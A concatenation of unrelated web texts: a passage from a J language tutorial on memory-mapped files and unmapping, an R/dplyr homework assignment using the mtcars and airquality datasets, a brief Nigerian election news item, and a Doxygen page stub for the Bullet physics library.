unmap_jmf_ 'Q' 0 28.4.4 Given FilesNow we look at mapping ordinary data files (that is, files other than the special jmf-format files we considered above).The way the data is laid out in the file we take as given, and our task is specify how this layout is to be represented by the type, rank and shape of a J variable, that is, to specify a suitable mapping. For example, suppose we aim to read a given file G with its data laid out in fixed-length records, each record being 8 characters. Suppose file G was originally created by, say: G =: 'c:\temp\data.xyz' 'ABCD0001EFGH0002IJKL0003MNOP0004' fwrite G 32The next step is to decide what kind of a variable will be suitable for mapping the data in file G. We decide on an n-by-8 character table. The number of rows, n, will be determined by the amount of data in the file, so we do not specify n in advance. It is convenient to start with a small example of an n-by-8 character table, which we call a prototype. The choice of n is unimportant. prototype =: 1 8 $ 'a'Now the mapping can be defined by: ] mapping =: ((3!:0) ; (}. @: $)) prototype +-+-+ |2|8| +-+-+We see that mapping is a boxed list. The first item is the data-type. Here 2, meaning "character", is produced by 3!:0 prototype. The second item is the trailing dimensions (that is, all but the first) of the prototype. Here 8 is all but the first of 1 8, produced by (}.@:$) prototype. Thus mapping expresses or encodes "n-by-8 characters". Now mapping is supplied as left argument to (dyadic) map_jmf_. We map file G onto a variable for which we choose the name W thus: mapping map_jmf_ 'W'; GWe see that W is now a variable. Its value is the data in the file.
We can amend the data in the ususal way: ] W =: 'IJKL9999' 2 } W ABCD0001 EFGH0002 IJKL9999 MNOP0004What we cannot do is add another row to the data, because all the space in file G is occupied by the data we already have.
We close file G by unmapping variable W: unmap_jmf_ 'W' 0 28.4.5 Mapped Variables Are SpecialMapping files to variables offers the programmer significant advantages in functionality and convenience.The price to be paid for these advantages is that there are some considerations applying to mapped variables which do not apply to ordinary variables. The programmer needs to be aware of, and to manage, these considerations. This is our topic in this section and the next. If A is an ordinary variable, not mapped, then in the assignment B=: A the value of A is in effect copied to B. A subsequent change to A does not affect the value of B.
By contrast, consider a variable mapped to a file. If the file is very large, there may not be enough space for another copy of the value. Hence copying is to be avoided. Compare the previous example with the case when A is a mapped variable. map_jmf_ 'A';F
We see that B changes with changes to A. In effect B =: A means that B is another name for A, not a copy of the value of A. That is, both A and B refer to the same thing - the value in the file. Hence it is also the case that A changes with changes to B.
Consider now an explicit verb applied to a mapped variable. Here y becomes another name for the data in the file. Hence assignment to y (even a local assignment) may cause an unintended change the mapped variable in the file. For example foo =: 3 : ' 3 * y =. y + 1'
28.4.6 Unmapping RevisitedThe current status of mapped files and variables is maintained by the J system in a "mapping table". The mapping table can be displayed by entering the expression showmap_jmf_ '' but for present purposes here is a utility function to display only selected columns.status =: 0 1 9 & {"1 @: showmap_jmf_ status '' +-------+------------------+----+ |name |fn |refs| +-------+------------------+----+ |A_base_|c:\temp\persis.jmf|3 | +-------+------------------+----+We see that currently variable A in locale base is mapped to file F (persis.jmf). Under "refs", the value 3 means that the data in file F is the target of 3 references. One of these is variable A, a second is the variable B (which we know to be another name for A) and the third is for the system itself. Variables A and B are both in existence:
For the sake of simplicity, a recommended procedure for closing the file is first to erase all variables such as B which are alternative names for the originally-mapped variable A erase <'B' 1The status shows the number of references is reduced. status '' +-------+------------------+----+ |name |fn |refs| +-------+------------------+----+ |A_base_|c:\temp\persis.jmf|2 | +-------+------------------+----+Now we can unmap A. unmap_jmf_ 'A' 0The result of 0 means the file is closed and A erased. The status table shows no entries, that is, that no files are mapped. status '' +----+--+----+ |name|fn|refs| +----+--+----+Let us recreate the situation in which A is mapped to F and B is another name for A, so there are 3 references to (the data in) file F. map_jmf_ 'A'; F B =: A status '' +-------+------------------+----+ |name |fn |refs| +-------+------------------+----+ |A_base_|c:\temp\persis.jmf|3 | +-------+------------------+----+What happens if we erase all the variables referring to F ? erase 'A';'B' 1 1 status '' +-------+------------------+----+ |name |fn |refs| +-------+------------------+----+ |A_base_|c:\temp\persis.jmf|1 | +-------+------------------+----+We see there is still a single reference, under the name A even though there is no variable A. This single reference reflects the fact that file F is not yet unmapped. Thus when we said earlier that file F gets mapped to variable A, it would be more accurate to say that file F gets mapped to the name A, and a variable of that name is created. Even though the variable is subsequently erased, the name A still identifies the mapped file, and can be used as an argument to unmap. unmap_jmf_ 'A' 0 status '' +----+--+----+ |name|fn|refs| +----+--+----+For more information, see the "Mapped Files" lab. This is the end of Chapter 28 |
The examples in this chapter
were executed using J version 701.
This chapter last updated 16 Dec 2012
Copyright © Roger Stokes 2012.
This material may be freely reproduced,
provided that this copyright notice is also reproduced.


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Download the HW1 skeleton files. To successfully complete the first assignment you will have to do the following:
homework1.Rproj
.HW1_report.Rmd
= hw1_ex1.Rmd
+ hw1_ex2.Rmd
+ hw1_ex3.Rmd
.hw1_ex1.Rmd
, hw1_ex2.Rmd
and hw1_ex3.Rmd
.To obtain the maximum number of points, use whenever possible:
%>%
,dplyr
verbs (see below),kable
to print tables,ggplot
to produce the figures.| verb | description | |
|---|---|---|
select() |
select columns | |
filter() |
filter rows | |
arrange() |
re-order or arrange rows | |
mutate() |
create new columns | |
summarise() |
summarise values | |
group_by() |
group operations |
Once you’re environment is set up, you’re ready to get your hands dirty with some data manipulation. Following the instructions provided in “R workflow and RMarkdown”, you should be able to solve the following assignments:
Begin by writing your code in the corresponding code chuncks in hw1_ex1.Rmd
,
hw1_ex2.Rmd
and hw1_ex3.Rmd
. When you finish the three exercises, use Knitr
to render the
full report HW1_report.Rmd
.
Don’t forget to save your files and keep them ready and clean for the next session.
* Connecting to remote repository
To submit your homework you should connect to your assigned repository. If you need some help, follow the instructions on this link, Section: Clone an existing GitHub project to new RStudio project.
Project Setup ‘homework1.Rproj’
Use the files provided in dsfba_homework1.zip
to structure your project in the following way (you should create subdirectories by yourselves):
1.a Install the tidyverse and knitr.
1.b Load the tidyverse, knitr, and set the precision to 2 digits.
In this exercise, you will use the mtcars
dataset from the datasets
package. The data was extracted from the 1974 Motor Trend US magazine, and comprises fuel consumption and 10 aspects of automobile design and performance for 32 automobiles (1973–74 models).
2.a Load the dataset mtcars. How many observations and variables does this dataset have?
2.b Print out the mtcars data frame sorted by hp (descending order).
2.c Create a new object named cars_cyl
and assign to it the mtcars
data frame grouped by the number of cylinders.
2.d Modify cars_cyl
to remove all variables except the average miles/(US) gallon and gross horsepower for each cylinder group.
2.e Print out the average miles/(US) gallon and gross horsepower for each cylinder group. What can you conclude about the effect of the number of cylinders on the other two variables?
2.f Improve the summary statistics by also displaying the median, the minimum, the maximum, the standard deviation and the count.
2.g Modify cars_cyl
by adding a new variable called perf = hp/mpg
and another
variable rank
indicating the rank of the cars in terms of performance (the higher the better).
Print out the resulting table by decreasing performance.
2.h Print out (2 digits of precision) the average performance for each number of cylinders. What can you say about the relationship between the two variables?
2.j Using the full dataset, plot the relationship between the weight and miles per US gallon, with a different color for each number of cylinder. What can you conclude about the relationships between the three variables? Bonus: add a (linear) regression line for each group.
2.k Save cars_cyl
as a .csv
into the results subdirectory in your project.
In this exercise, you will use the airquality
dataset from the datasets
package.
This dataset contains information about air quality measurements in New York between May 1973 and September 1973. A preview of the dataset:
data(airquality)
head(airquality)
## Ozone Solar.R Wind Temp Month Day
## 1 41 190 7.4 67 5 1
## 2 36 118 8.0 72 5 2
## 3 12 149 12.6 74 5 3
## 4 18 313 11.5 62 5 4
## 5 NA NA 14.3 56 5 5
## 6 28 NA 14.9 66 5 6
3.a Transform the temperature from degrees Farhenheit to degrees Celsius.
3.b For how many days has the temperature been higher than 30 degrees?
3.c How many of those days were in July or August?
3.d Display the average monthly temperature.
3.e Display ten randomly selected observations from the dataset. What happens if you execute your code a few times? How can you make sure that each execution returns the exact 10 rows?
3.f Display the number of days in each month.
3.g Display the days where the temperature was lower than 20 degrees with observations * where the ozone measurement is missing are removed, * and arranged in descending order of the Month and ascending order of Day.
3.h Produce monthly boxplots of temperature. More specifically, your figure should contain 5 boxplots (i.e., one for each month), with months as the x-axis and the temperature as the y-axis. What can you say about the monthly temperature evolution?
3.i For the days where such data is available, create a scatter plot of the ozone concentration per month. Add the monthly averages in a different color as well as a line that connects them. What can you say about the relationship between Ozone and Month? Is there any similarity to the pevious plot? Describe the link between temperature, ozone and month.
Grading per exercise and overal results are available in the following file.
Please note that the first row: Max possible
states the maximum points per question or requirement.
The solutions for HW1 are available here.
Notes on the grading:
kable
column).If you have questions regarding the grades, please first have a look at the solutions and send an email with the remarks.


APC suffers defeat in Dickson's LGA - The Nation Newspaper
By Mike Odiegwu, Yenagoa
The All Progressives Congress (APC) suffered defeat in Sagbama, the Local Governmenr Area of Bayelsa State Governor, Seriake Dickson.
The PDP candidate, Senator Douye Diri, defeated the APC candidate, David Lyon, scoring 60,339 while Lyon got 7,831 votes. The local government has 109,460 registered voters while accredited voters were 70,111.


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|
Bullet Collision Detection & Physics Library
|
#include "btConvexPenetrationDepthSolver.h"
Go to the source code of this file.
Classes | |
| class | btGjkEpaPenetrationDepthSolver |
| EpaPenetrationDepthSolver uses the Expanding Polytope Algorithm to calculate the penetration depth between two convex shapes. More... | |